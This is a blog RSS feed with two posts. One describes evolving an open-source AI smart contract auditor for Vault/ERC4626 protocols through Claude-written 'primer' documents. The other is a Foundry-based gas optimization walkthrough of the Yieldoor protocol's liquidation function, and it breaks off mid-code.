<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0"><channel><title><![CDATA[In your storage: exploring ethereum, solidity &amp; smart contract security]]></title><description><![CDATA[In your storage: exploring ethereum, solidity &amp; smart contract security]]></description><link>https://dacian.me</link><generator>RSS for Node</generator><lastBuildDate>Thu, 16 Apr 2026 14:57:59 GMT</lastBuildDate><atom:link href="https://dacian.me/rss.xml" rel="self" type="application/rss+xml"/><language><![CDATA[en]]></language><ttl>60</ttl><item><title><![CDATA[Using Claude To Evolve Specialist AI Smart Contract Auditors]]></title><description><![CDATA[In recent times a number of web3 security companies have begun offering paid “AI Smart Contract Auditor” services. These services commonly require clients to upload code to a website and after paying a fee, receive an AI-generated audit report.
A muc...]]></description><link>https://dacian.me/using-claude-to-evolve-specialist-ai-smart-contract-auditors</link><guid isPermaLink="true">https://dacian.me/using-claude-to-evolve-specialist-ai-smart-contract-auditors</guid><category><![CDATA[AI]]></category><category><![CDATA[claude.ai]]></category><category><![CDATA[Solidity]]></category><category><![CDATA[Smart Contracts]]></category><dc:creator><![CDATA[Dacian]]></dc:creator><pubDate>Fri, 04 Jul 2025 09:33:23 GMT</pubDate><content:encoded><![CDATA[<p>In recent times a number of web3 security companies have begun offering paid “AI Smart Contract Auditor” services. These services commonly require clients to upload code to a website and after paying a fee, receive an AI-generated audit report.</p>
<p>A much more useful AI Auditor would be one that both auditors and developers can interact with and use in their work, to both find vulnerabilities and strengthen a protocol’s defenses &amp; unit tests prior to external audit.</p>
<p>This article presents <a target="_blank" href="https://github.com/devdacian/ai-auditor-primers">Amy</a>; a semi-autonomously evolving, freely available open-source specialist smart contract auditor, focused on Vault / ERC4626 smart contract protocols. While Amy can work with any AI platform, she has self-evolved using <a target="_blank" href="https://claude.ai/">Claude</a> which gives the best performance in our testing.</p>
<h2 id="heading-priming-for-ai-performance">Priming For AI Performance</h2>
<p>In testing various AI platforms for smart contract vulnerability detection we found that AI would miss important findings in the code we wanted to audit, unless we first showed the AI some other code. This mimics the human experience; for example a human who has recently audited many Vault protocols will likely do better when subsequently auditing a new Vault protocol.</p>
<p>When asking AI to audit a type of protocol, it is ideal if the AI has been primed by showing it code and vulnerabilities from similar protocols. However this approach is not scalable since it would require an AI to ingest large amounts of data prior to each individual audit.</p>
<p>A workaround we discovered with the help of Claude was to first ingest learning data then create a “Primer” document which encapsulates the learned material, using Claude to generate &amp; output its own Primer. The Primer can be saved offline then in future sessions quickly ingested to effectively “prime” AI prior to audits.</p>
<h2 id="heading-ai-self-evolution-using-priming">AI Self-Evolution Using Priming</h2>
<p>We created Amy by first asking her to ingest code from a Vault protocol we had audited with the vulnerabilities found, then to create and output the Primer document enabling her to recall everything she had learned in future sessions.</p>
<p>Using Claude Max we ran this cycle many times with additional vault audits, both private audits and public contests. After the first 3 codebases we didn’t ask Amy to ingest the code anymore, only the found vulnerabilities many which contained vulnerable code samples inside them. Using Claude and the input data we provided, Amy was effectively able to evolve herself by first writing then continually updating her Primer document.</p>
<p>Claude does have a number of limitations to be aware of:</p>
<ul>
<li><p>Claude can’t output a file that you can download, so instead ask it to output the updated Primer then copy &amp; paste to save it offline</p>
</li>
<li><p>there is a session text length limit; as the Primer becomes larger in size, if you try and ingest too much new data during one session Claude will be unable to output the full updated Primer document</p>
</li>
<li><p>Claude did once corrupt the Primer when outputting the updated version, losing many previous findings. I caught this and asked it to write some rules in the Primer when doing updates to prevent corruption, but the rules it wrote were too restrictive</p>
</li>
<li><p>instead of using the restrictive update rules, when asking it to output the updated Primer I started giving it more explicit instructions. This appeared to prevent future corruption while still allowing Amy great freedom in how to update the Primer document</p>
</li>
</ul>
<p>The evolution of the Primer document is a continuous cycle of Claude sessions with the following prompts:</p>
<ul>
<li><p><em>“ingest this primer</em>” (copy current primer)</p>
</li>
<li><p><em>“ingest findings from PROTOCOL_NAME audit, but don’t output anything yet”</em> (copy findings)</p>
</li>
<li><p>potentially ask it to ingest another set of findings/heuristics etc</p>
</li>
<li><p>less restrictive =&gt; <em>“output the updated primer incorporating new vulnerabilities learned from this session”</em></p>
</li>
<li><p>more restrictive =&gt; <em>“output the updated primer, ensuring the version number has been incremented, the Latest Update section notes what was added, and all new data is incorporated into the Critical Vulnerability Patterns, Common Attack Vectors, Integration Hazards, Audit Checklist and any useful invariants are put into Invariant Analysis”</em></p>
</li>
<li><p>as the Primer is quite long, Claude takes multiple chats to output the entire document. Once each chat is finished copy that portion then click “Continue”, copy the next and so on until you have saved the entire updated Primer document offline</p>
</li>
<li><p>after saving the updated Primer document, start a new session to prevent hitting the session text limit and being unable to output further updates to the Primer</p>
</li>
</ul>
<h2 id="heading-focused-vs-general-priming">Focused vs General Priming</h2>
<p>Amy’s Primer document has been created primarily by examining vulnerabilities found in audits of Vault / ERC4626 protocols; so it is these protocols that Amy should excel in auditing. That being said she does have general knowledge of many other vulnerability types so can be used on any protocol.</p>
<p>One option for Amy’s continued evolution is to update her Primer with vulnerabilities from other protocol types such as DAOs, Account Abstraction / Smart Wallet etc - but it is not clear whether this would negatively impact Amy’s performance during Vault / ERC4626 audits.</p>
<p>Another option is to use the same process to create and evolve new AI Auditors for those other protocols; for example to create Mark an AI DAO Auditor by having Mark ingest vulnerabilities from DAO audits. More research is definitely needed in this area; ideally:</p>
<ul>
<li><p>multiple Auditor AIs would be evolved, both specialist and generalist AIs</p>
</li>
<li><p>a “test suite” of codebases would be chosen that are not used in the evolutions</p>
</li>
<li><p>after each evolution, the AIs would be run against the “test suite” and the number of valid findings and false positives would be recorded</p>
</li>
<li><p>each evolution could be rejected if performance degraded</p>
</li>
</ul>
<p>For single users such as auditors and developers, the simplest option which I’ve chosen is to evolve protocol-specific AIs such as Amy who specializes in Vault / ERC4626 protocols. This approach is simple and likely to provide maximum benefit for those protocol types with minimal drawbacks if matching specialist AI Auditors to audits of their protocol type.</p>
<h2 id="heading-amy-vs-human-auditors-amp-static-analysis-tools">Amy vs Human Auditors &amp; Static Analysis Tools</h2>
<p>After 3 days of focused evolution in our testing on vault codebases Amy is roughly equivalent to a Junior Auditor; Amy is quickly able to find many of the same bugs that a Junior Auditor would. In internal testing on <a target="_blank" href="https://www.cyfrin.io/">Cyfrin</a> private smart contract audits Amy has found Critical, High, Medium &amp; Low severity issues, some of which a Junior Auditor would be unlikely to find. Amy can also find more difficult and valuable bugs by defining a list of invariants then attempting to break them. Amy can also make recommendations that would strengthen the defensiveness of the codebase which is something that Junior Auditors typically don’t do.</p>
<p>Amy’s ability to rapidly self-evolve gives her a major advantage over static analysis tools which rely on human engineers to code up relatively “dumb” detectors. Similarly Amy’s ability to reason in terms of protocol-specific invariants then carefully work through possible execution paths trying to break them also gives Amy a massive advantage over traditional static analyzers.</p>
<p>As Amy continues to evolve and AI platforms such as Claude continue to improve, specialist AI Auditors such as Amy will largely replace Junior Auditors and static analysis tools as they can provide a superior service for only the compute cost, and are also much cheaper to upgrade since they can evolve themselves given new inputs by updating their Primer.</p>
<p>Senior Auditors can effectively use Amy to explore protocol invariants and whether they can be broken, get ideas for possible attack paths (and explore these together with Amy), for general understanding of the protocol, to write up findings and generate bug Proof of Concepts (PoCs). To learn how I use Amy when auditing read this <a target="_blank" href="https://x.com/DevDacian/status/1945790783493423525">post</a>.</p>
<p>Developers can also greatly benefit from Amy by having her analyze their code prior to seeking external audit, having Amy list important invariants then implementing them in a fuzz testing suite. Amy can also recommend defensive / hardening measures that protocols should implement to reduce attack surface or eliminate potential attack vectors.</p>
<h2 id="heading-limitations-of-amy">Limitations Of Amy</h2>
<p>Amy is able to do a decent job of using checklists, heuristics and invariants to find vulnerabilities, but the major drawback is an inability to seriously consider external integrations and on-chain state. Amy can also misunderstand protocol code and generate false positives; some of Amy’s false positives are rather silly and trivial for a human to detect that the vulnerability is not actually there.</p>
<p>Amy does not replace senior human auditors but compliments them. Human auditors can use Amy effectively by correcting her misunderstandings and jointly exploring protocol attack paths, invariants, state changes, the purpose of variables and more - the only limit is human imagination.</p>
<p>Though Amy can be used with any protocol, her speciality is Vaults / ERC4626 hence she should be paired with these protocols for maximum benefit.</p>
<p>Due to Claude’s current session text limit, it does not appear practical to evolve a Primer over ~7600 lines.</p>
<h2 id="heading-future-development">Future Development</h2>
<p>By <a target="_blank" href="https://github.com/devdacian/ai-auditor-primers">open-sourcing Amy’s Primer document</a>, any auditor or developer can use and evolve Amy themselves paying only the Claude compute cost. Using the methodology described in this document anyone can create and evolve their own specialist AI Smart Contract Auditor. My hope is that the smart contract security community will embrace AI, evolving an open source collection of freely available specialist AI Auditors.</p>
]]></content:encoded></item><item><title><![CDATA[The Yieldoor Gas Optimizoor]]></title><description><![CDATA[Decorated auditor deadrosesxyz recently put on their developer hat to create a leveraged yield-farming protocol Yieldoor whose code provided ample opportunity for gas optimization. Many articles have been written listing common gas optimization techn...]]></description><link>https://dacian.me/the-yieldoor-gas-optimizoor</link><guid isPermaLink="true">https://dacian.me/the-yieldoor-gas-optimizoor</guid><category><![CDATA[Solidity]]></category><category><![CDATA[Web3]]></category><category><![CDATA[Ethereum]]></category><category><![CDATA[Smart Contracts]]></category><dc:creator><![CDATA[Dacian]]></dc:creator><pubDate>Mon, 17 Mar 2025 10:35:43 GMT</pubDate><content:encoded><![CDATA[<p>Decorated auditor <a target="_blank" href="https://x.com/deadrosesxyz">deadrosesxyz</a> recently put on their developer hat to create a leveraged yield-farming protocol <a target="_blank" href="https://x.com/deadrosesxyz/status/1892939105190723964">Yieldoor</a> whose code provided ample opportunity for gas optimization. Many articles have been written listing common gas optimization techniques but this real-world case study illustrates 15.43% overall gas savings achieved via refactoring using a step-by-step mental process for optimizing core protocol functions.</p>
<p>Looking to work with me for a Gas Audit on your protocol? <a target="_blank" href="https://x.com/DevDacian">DMs are open</a>!</p>
<p>We’ll use the publicly available contest <a target="_blank" href="https://github.com/sherlock-audit/2025-02-yieldoor">source code</a> and start by focusing on the most interesting, complicated and mission-critical liquidation function <a target="_blank" href="https://github.com/sherlock-audit/2025-02-yieldoor/blob/main/yieldoor/src/Leverager.sol#L299-L380"><code>Leverager::liquidatePosition</code></a>.</p>
<h2 id="heading-measuring-gas-cost">Measuring Gas Cost</h2>
<p>Foundry provides a number of in-built tools to measure gas cost including:</p>
<ul>
<li><p><a target="_blank" href="https://book.getfoundry.sh/forge/gas-reports">gas reports</a> via <code>forge test --gas-report</code> after configuration in <code>foundry.toml</code> for contract deployment and function call costs</p>
</li>
<li><p><a target="_blank" href="https://book.getfoundry.sh/forge/gas-function-snapshots">test function snapshots</a> via <code>forge snapshot</code> to measure the gas costs of the entire unit test suite</p>
</li>
<li><p><a target="_blank" href="https://book.getfoundry.sh/forge/gas-section-snapshots">gas section snapshots</a> via cheatcodes to measure gas costs of arbitrary code segments inside unit tests</p>
</li>
</ul>
<p>We’ll <a target="_blank" href="https://github.com/devdacian/2025-02-yieldoor">fork</a> the original source code and use the second and third options by:</p>
<ul>
<li><p><a target="_blank" href="https://github.com/devdacian/2025-02-yieldoor/commit/fe1694b2e383b6a14c4a79e24dce6d4fcb603412">editing</a> <code>test/Leverager.t.sol</code> to add a <code>test_Gas_*</code> prefix around the three tests which call <code>Leverager::liquidatePosition</code></p>
</li>
<li><p>changing <code>test/BaseTest.sol</code> to reduce fuzz runs to 100 by editing the relevant comments to <code>/// forge-config: default.fuzz.runs = 100</code> to speed up the iterative optimization cycle</p>
</li>
<li><p>add “gas section snapshots” inside the tests functions around the calls to <code>Leverager::liquidatePosition</code>:</p>
</li>
</ul>
<pre><code class="lang-solidity">vm.startSnapshotGas(<span class="hljs-string">"lendingPoolLiquidation"</span>);
ILeverager(leverager).liquidatePosition(liqParams);
vm.stopSnapshotGas();

vm.startSnapshotGas(<span class="hljs-string">"liquidateWithSwap"</span>);
ILeverager(leverager).liquidatePosition(liqParams);
vm.stopSnapshotGas();

vm.startSnapshotGas(<span class="hljs-string">"liquidationNoSwap"</span>);
ILeverager(leverager).liquidatePosition(liqParams);
vm.stopSnapshotGas();
</code></pre>
<ul>
<li><p>get the initial “test function snapshots” by running <code>forge snapshot --fork-url ETH_RPC_URL --fork-block-number 20956198</code> which generates a new file <code>.gas-snapshot</code> recording gas costs for all unit tests and overall gas cost (second option above)</p>
</li>
<li><p><a target="_blank" href="https://github.com/devdacian/2025-02-yieldoor/commit/ee93931a44dddd9fa89ce5a2b01ad47c97347e10">get the initial “gas section snapshot"</a> by running <code>forge test --gas-snapshot-check=true --match-test test_Gas --fork-url ETH_RPC_URL --fork-block-number 20956198</code> which generates a file <code>snapshots/LeveragerTest.json</code> showing the initial gas cost for the manual snapshots wrapping calls to <code>Leverager::liquidatePosition</code> (third option above):</p>
</li>
</ul>
<pre><code class="lang-json">{
  <span class="hljs-attr">"lendingPoolLiquidation"</span>: <span class="hljs-string">"575367"</span>,
  <span class="hljs-attr">"liquidateWithSwap"</span>: <span class="hljs-string">"618080"</span>,
  <span class="hljs-attr">"liquidationNoSwap"</span>: <span class="hljs-string">"439622"</span>
}
</code></pre>
<p>Back up these files to <code>.gas-snapshot.original</code> and <code>snapshots/LeveragerTest.original.json</code> to maintain a starting point record for easy comparison at the end. After any code change we can then run:</p>
<ul>
<li><p><code>forge snapshot --diff --fork-url ETH_RPC_URL --fork-block-number 20956198</code> to see whether the change reduced the per-test and overall all-tests gas costs. To override the existing <code>.gas-snapshot</code> file simply run it without the <code>-diff</code> flag. Important: all tests must pass for a new <code>.gas-snapshot</code> file to be generated</p>
</li>
<li><p><code>forge test --gas-snapshot-check=true --match-test test_Gas --fork-url ETH_RPC_URL --fork-block-number 20956198</code> to see whether the change reduced the gas costs of the manual snapshots. To override the existing file simply remove the old file before running this command via <code>rm snapshots/LeveragerTest.json</code></p>
</li>
</ul>
<h2 id="heading-cache-identical-storage-reads">Cache Identical Storage Reads</h2>
<p>Generally the easiest and most “bang-for-buck” gas optimization is to cache identical storage reads to prevent re-reading the same value from storage multiple times. This can be resolved by:</p>
<ul>
<li><p>if a contract is not upgradeable and a storage location is only ever set once in the constructor, the storage slot should be declared <code>immutable</code></p>
</li>
<li><p>otherwise the storage slot can be read once, cached, and passed as a parameter where it is required both in the current function and to child functions</p>
</li>
</ul>
<p>Inspecting <code>Leverager::liquidatePosition</code> shows some quick and easy wins:</p>
<ul>
<li><p><code>feeRecipient</code> is read twice at <a target="_blank" href="https://github.com/devdacian/2025-02-yieldoor/blob/b5a0f779dce4236b02665606adb610099451a51a/yieldoor/src/Leverager.sol#L328-L329">L328,329</a></p>
</li>
<li><p><code>swapRouter</code> is read two to four times at <a target="_blank" href="https://github.com/devdacian/2025-02-yieldoor/blob/b5a0f779dce4236b02665606adb610099451a51a/yieldoor/src/Leverager.sol#L354-L364">L354,355,363,364</a></p>
</li>
</ul>
<p>Attempting to simply cache <code>feeReceipient</code> fails due to a “stack too deep” error. When caching storage it is more gas efficient to use local variables within a function but if that is not possible due to “stack too deep” errors then:</p>
<ul>
<li><p>declare a struct <code>LiquidateContext</code> to cache storage reads for the liquidation function:</p>
<pre><code class="lang-solidity">  <span class="hljs-keyword">struct</span> <span class="hljs-title">LiquidateContext</span> {
      <span class="hljs-keyword">address</span> feeRecipient;
      <span class="hljs-keyword">address</span> swapRouter;
  }
</code></pre>
</li>
<li><p>eliminate a local variable that is only read once by passing the result of <code>IVault(up.vault).twapPrice()</code> directly to <code>_calculateTokenValues</code></p>
</li>
<li><p>declare a new local variable <code>LiquidateContext memory ctx</code> inside the liquidation function to store the cached storage reads</p>
</li>
</ul>
<p>The changes and result are seen in commit <a target="_blank" href="https://github.com/devdacian/2025-02-yieldoor/commit/1661887e5112f35921edffe46befd8dfed8af011">1661887</a>; the gas cost reduced for one test but grew for the other two, though this is just the beginning where we are laying the groundwork for further optimizations.</p>
<p>It also makes sense to <a target="_blank" href="https://github.com/devdacian/2025-02-yieldoor/commit/0bba016dc580bafb9d1c7c8b72c46cfdaa438367">consolidate</a> the <code>Position memory pos</code> variable inside our <code>LiquidateContext</code> struct and create a new <code>_getLiquidateContext</code> internal function to return the struct:</p>
<pre><code class="lang-solidity"><span class="hljs-keyword">struct</span> <span class="hljs-title">LiquidateContext</span> {
    <span class="hljs-comment">// read from positions[liqParams.id]</span>
    Position pos;

    <span class="hljs-keyword">address</span> feeRecipient;
    <span class="hljs-keyword">address</span> swapRouter;
}

<span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">_getLiquidateContext</span>(<span class="hljs-params"><span class="hljs-keyword">uint256</span> _id</span>) <span class="hljs-title"><span class="hljs-keyword">internal</span></span> <span class="hljs-title"><span class="hljs-keyword">view</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span>(<span class="hljs-params">LiquidateContext <span class="hljs-keyword">memory</span> ctx</span>) </span>{
    ctx.pos <span class="hljs-operator">=</span> positions[_id];
}

<span class="hljs-comment">/// @notice Liquidates a certain leveraged position.</span>
<span class="hljs-comment">/// @dev Check the ILeverager contract for comments on all LiquidateParams arguments</span>
<span class="hljs-comment">/// @dev Does not support partial liquidations</span>
<span class="hljs-comment">/// @dev Collects fees first, in order to properly calculate whether a position is actually liquidateable</span>
<span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">liquidatePosition</span>(<span class="hljs-params">LiquidateParams <span class="hljs-keyword">calldata</span> liqParams</span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title">collectFees</span>(<span class="hljs-params">liqParams.id</span>) <span class="hljs-title">nonReentrant</span> </span>{
    <span class="hljs-comment">// read everything required from storage once</span>
    LiquidateContext <span class="hljs-keyword">memory</span> ctx <span class="hljs-operator">=</span> _getLiquidateContext(liqParams.id);
</code></pre>
<h2 id="heading-collectfees-modifier-reads-identical-storage-slots"><code>collectFees</code> Modifier Reads Identical Storage Slots</h2>
<p>Next examine the modifiers to see if they re-read the same storage slots; it is common for developers to write modifiers that read the same storage slots as the function body resulting in inefficient code. In this case there is only one modifier of interest <code>collectFees</code> which copies the entire <code>Position</code> into memory again resulting in 10 identical storage reads:</p>
<pre><code class="lang-solidity"><span class="hljs-function"><span class="hljs-keyword">modifier</span> <span class="hljs-title">collectFees</span>(<span class="hljs-params"><span class="hljs-keyword">uint256</span> _id</span>) </span>{
    <span class="hljs-comment">// @gas 10 identical storage reads since `Position` already read from</span>
    <span class="hljs-comment">// storage to memory inside `liquidatePosition` function</span>
    Position <span class="hljs-keyword">memory</span> up <span class="hljs-operator">=</span> positions[_id];
    <span class="hljs-keyword">address</span> strat <span class="hljs-operator">=</span> IVault(up.vault).strategy();
    IStrategy(strat).collectFees();
    <span class="hljs-keyword">_</span>;
}
</code></pre>
<p>Since the <code>collectFees</code> modifier is only called by the <code>liquidatePosition</code> function we can simply <a target="_blank" href="https://github.com/devdacian/2025-02-yieldoor/commit/5506e9225c3e28b75e9e99e3cd116981a0c2fc9b">inline</a> it to save 10 storage reads:</p>
<pre><code class="lang-solidity"><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">liquidatePosition</span>(<span class="hljs-params">LiquidateParams <span class="hljs-keyword">calldata</span> liqParams</span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title">nonReentrant</span> </span>{
    <span class="hljs-comment">// read everything required from storage once</span>
    LiquidateContext <span class="hljs-keyword">memory</span> ctx <span class="hljs-operator">=</span> _getLiquidateContext(liqParams.id);

    <span class="hljs-comment">// must collect fees before checking if a position is liquidatable</span>
    IStrategy(IVault(ctx.pos.vault).strategy()).collectFees();
</code></pre>
<p>With this change all three tests are now more gas efficient than the original code:</p>
<pre><code class="lang-json">$ more snapshots/LeveragerTest.json 
{
  <span class="hljs-attr">"lendingPoolLiquidation"</span>: <span class="hljs-string">"574354"</span>,
  <span class="hljs-attr">"liquidateWithSwap"</span>: <span class="hljs-string">"616824"</span>,
  <span class="hljs-attr">"liquidationNoSwap"</span>: <span class="hljs-string">"438617"</span>
}
$ more snapshots/LeveragerTest.original.json 
{
  <span class="hljs-attr">"lendingPoolLiquidation"</span>: <span class="hljs-string">"575367"</span>,
  <span class="hljs-attr">"liquidateWithSwap"</span>: <span class="hljs-string">"618080"</span>,
  <span class="hljs-attr">"liquidationNoSwap"</span>: <span class="hljs-string">"439622"</span>
}
</code></pre>
<h2 id="heading-isliquidatable-function-reads-identical-storage-slots"><code>isLiquidatable</code> Function Reads Identical Storage Slots</h2>
<p>Having finished with the modifiers, start working through the function body looking for child functions. The first encountered function is <code>isLiquidatable</code>; looking at its implementation it also copies the entire <code>Position</code> from storage into memory again resulting in another 10 identical storage reads:</p>
<pre><code class="lang-solidity">
<span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">isLiquidatable</span>(<span class="hljs-params"><span class="hljs-keyword">uint256</span> _id</span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> <span class="hljs-title"><span class="hljs-keyword">view</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">bool</span> liquidatable</span>) </span>{
    <span class="hljs-comment">// another 10 identical storage reads when called by `liquidatePosition`</span>
    Position <span class="hljs-keyword">memory</span> pos <span class="hljs-operator">=</span> positions[_id];
</code></pre>
<p>In the original code during every liquidation transaction <code>Position</code> was being copied into memory 3 times for 30 identical storage reads! Solve this by introducing an <code>internal</code> helper function <code>_isLiquidatable</code> which:</p>
<ul>
<li><p>takes as input the cached <code>LiquidateContext memory ctx</code></p>
</li>
<li><p>can be called by both <code>liquidatePosition</code> and <code>isLiquidatable</code></p>
</li>
</ul>
<p>The changes are seen in commits (<a target="_blank" href="https://github.com/devdacian/2025-02-yieldoor/commit/143cec641860a9b2a69747c14704fee758d93a44">143cec6</a>, <a target="_blank" href="https://github.com/devdacian/2025-02-yieldoor/commit/e960acf8b06aa964c9a003989d4e043977faf5cc">e960acf</a>):</p>
<pre><code class="lang-solidity"><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">liquidatePosition</span>(<span class="hljs-params">LiquidateParams <span class="hljs-keyword">calldata</span> liqParams</span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title">nonReentrant</span> </span>{
    <span class="hljs-comment">// read everything required from storage once</span>
    LiquidateContext <span class="hljs-keyword">memory</span> ctx <span class="hljs-operator">=</span> _getLiquidateContext(liqParams.id);

    <span class="hljs-comment">// must collect fees before checking if a position is liquidatable</span>
    IStrategy(IVault(ctx.pos.vault).strategy()).collectFees();

    <span class="hljs-built_in">require</span>(_isLiquidateable(ctx), <span class="hljs-string">"isnt liquidateable"</span>);


<span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">isLiquidateable</span>(<span class="hljs-params"><span class="hljs-keyword">uint256</span> _id</span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> <span class="hljs-title"><span class="hljs-keyword">view</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">bool</span> liquidateable</span>) </span>{
    liquidateable <span class="hljs-operator">=</span> _isLiquidateable(_getLiquidateContext(_id));
}

<span class="hljs-comment">// gas: internal helper function saves reading positions[_id] multiple times during liquidations</span>
<span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">_isLiquidateable</span>(<span class="hljs-params">LiquidateContext <span class="hljs-keyword">memory</span> ctx</span>) <span class="hljs-title"><span class="hljs-keyword">internal</span></span> <span class="hljs-title"><span class="hljs-keyword">view</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">bool</span> liquidateable</span>) </span>{
    VaultParams <span class="hljs-keyword">memory</span> vp <span class="hljs-operator">=</span> vaultParams[ctx.pos.vault];

    <span class="hljs-keyword">uint256</span> vaultSupply <span class="hljs-operator">=</span> IVault(ctx.pos.vault).totalSupply();

    <span class="hljs-comment">// Assuming a price of X, a LP position has its lowest value when the pool price is exactly X.</span>
    <span class="hljs-comment">// Any price movement, would actually overvalue the position.</span>
    <span class="hljs-comment">// For this reason, attackers cannot force a position to become liquidateable with a swap.</span>
    (<span class="hljs-keyword">uint256</span> vaultBal0, <span class="hljs-keyword">uint256</span> vaultBal1) <span class="hljs-operator">=</span> IVault(ctx.pos.vault).balances();
    <span class="hljs-keyword">uint256</span> userBal0 <span class="hljs-operator">=</span> ctx.pos.shares <span class="hljs-operator">*</span> vaultBal0 <span class="hljs-operator">/</span> vaultSupply;
    <span class="hljs-keyword">uint256</span> userBal1 <span class="hljs-operator">=</span> ctx.pos.shares <span class="hljs-operator">*</span> vaultBal1 <span class="hljs-operator">/</span> vaultSupply;
    <span class="hljs-keyword">uint256</span> price <span class="hljs-operator">=</span> IVault(ctx.pos.vault).twapPrice();

    <span class="hljs-keyword">uint256</span> totalValueUSD <span class="hljs-operator">=</span> _calculateTokenValues(ctx.pos.token0, ctx.pos.token1, userBal0, userBal1, price);
    <span class="hljs-keyword">uint256</span> bPrice <span class="hljs-operator">=</span> IPriceFeed(pricefeed).getPrice(ctx.pos.denomination);
    <span class="hljs-keyword">uint256</span> totalDenom <span class="hljs-operator">=</span> totalValueUSD <span class="hljs-operator">*</span> (<span class="hljs-number">10</span> <span class="hljs-operator">*</span><span class="hljs-operator">*</span> ERC20(ctx.pos.denomination).decimals()) <span class="hljs-operator">/</span> bPrice;

    <span class="hljs-keyword">uint256</span> bIndex <span class="hljs-operator">=</span> ILendingPool(lendingPool).getCurrentBorrowingIndex(ctx.pos.denomination);
    <span class="hljs-keyword">uint256</span> owedAmount <span class="hljs-operator">=</span> ctx.pos.borrowedAmount <span class="hljs-operator">*</span> bIndex <span class="hljs-operator">/</span> ctx.pos.borrowedIndex;

    <span class="hljs-comment">/// here we make a calculation what would be the necessary collateral</span>
    <span class="hljs-comment">/// if we had the same borrowed amount, but at max leverage. Check docs for better explanation why.</span>
    <span class="hljs-keyword">uint256</span> base <span class="hljs-operator">=</span> owedAmount <span class="hljs-operator">*</span> <span class="hljs-number">1e18</span> <span class="hljs-operator">/</span> (vp.maxTimesLeverage <span class="hljs-operator">-</span> <span class="hljs-number">1e18</span>);
    base <span class="hljs-operator">=</span> base <span class="hljs-operator">&lt;</span> ctx.pos.initCollateralValue ? base : ctx.pos.initCollateralValue;

    <span class="hljs-keyword">if</span> (owedAmount <span class="hljs-operator">&gt;</span> totalDenom <span class="hljs-operator">|</span><span class="hljs-operator">|</span> totalDenom <span class="hljs-operator">-</span> owedAmount <span class="hljs-operator">&lt;</span> vp.minCollateralPct <span class="hljs-operator">*</span> base <span class="hljs-operator">/</span> <span class="hljs-number">1e18</span>) <span class="hljs-keyword">return</span> <span class="hljs-literal">true</span>;
}
</code></pre>
<p>This results in further gas savings:</p>
<pre><code class="lang-solidity"><span class="hljs-operator">-</span> [lendingPoolLiquidation] <span class="hljs-number">574354</span> → <span class="hljs-number">572916</span>
<span class="hljs-operator">-</span> [liquidateWithSwap] <span class="hljs-number">616824</span> → <span class="hljs-number">615384</span>
<span class="hljs-operator">-</span> [liquidationNoSwap] <span class="hljs-number">438617</span> → <span class="hljs-number">437178</span>
</code></pre>
<h2 id="heading-isliquidatable-function-copies-all-vaultparams"><code>_isLiquidatable</code> Function Copies All <code>VaultParams</code></h2>
<p>Next inspecting the <code>_isLiquidatable</code> function observe that it:</p>
<ul>
<li><p>copies <code>VaultParams</code> from storage to memory</p>
</li>
<li><p>only uses <code>maxTimesLeverage</code> and <code>minCollateralPct</code> from <code>VaultParams</code></p>
</li>
</ul>
<p>Since <code>VaultParams</code> is defined as:</p>
<pre><code class="lang-solidity"><span class="hljs-keyword">struct</span> <span class="hljs-title">VaultParams</span> {
    <span class="hljs-keyword">bool</span> leverageEnabled;
    <span class="hljs-keyword">uint256</span> maxUsdLeverage;
    <span class="hljs-keyword">uint256</span> maxTimesLeverage;
    <span class="hljs-keyword">uint256</span> minCollateralPct;
    <span class="hljs-keyword">uint256</span> maxCumulativeBorrowedUSD;
    <span class="hljs-keyword">uint256</span> currBorrowedUSD;
}
</code></pre>
<p>This means that <code>_isLiquidatable</code> is performing 4 unnecessary storage reads every time it copies <code>VaultParams</code> from storage to memory! <a target="_blank" href="https://github.com/devdacian/2025-02-yieldoor/commit/7afe13d3d3e12c7b0f070253989aa6241f13952d">Fix</a> this by:</p>
<ul>
<li><p>expanding the <code>LiquidateContext</code> struct to contain the additional fields</p>
</li>
<li><p>adding code to <code>_getLiquidateContext</code> to cache those fields</p>
</li>
<li><p>changing <code>_isLiquidatable</code> to use the cached fields</p>
</li>
</ul>
<pre><code class="lang-solidity"><span class="hljs-comment">// cache storage reads in memory</span>
<span class="hljs-keyword">struct</span> <span class="hljs-title">LiquidateContext</span> {
    <span class="hljs-comment">// read from positions[liqParams.id]</span>
    Position pos;

    <span class="hljs-comment">// read from vaultParams[pos.vault]</span>
    <span class="hljs-keyword">uint256</span> maxTimesLeverage;
    <span class="hljs-keyword">uint256</span> minCollateralPct;

    <span class="hljs-keyword">address</span> feeRecipient;
    <span class="hljs-keyword">address</span> swapRouter;
}

<span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">_getLiquidateContext</span>(<span class="hljs-params"><span class="hljs-keyword">uint256</span> _id</span>) <span class="hljs-title"><span class="hljs-keyword">internal</span></span> <span class="hljs-title"><span class="hljs-keyword">view</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span>(<span class="hljs-params">LiquidateContext <span class="hljs-keyword">memory</span> ctx</span>) </span>{
    ctx.pos <span class="hljs-operator">=</span> positions[_id];

    VaultParams <span class="hljs-keyword">storage</span> vpRef <span class="hljs-operator">=</span> vaultParams[ctx.pos.vault];
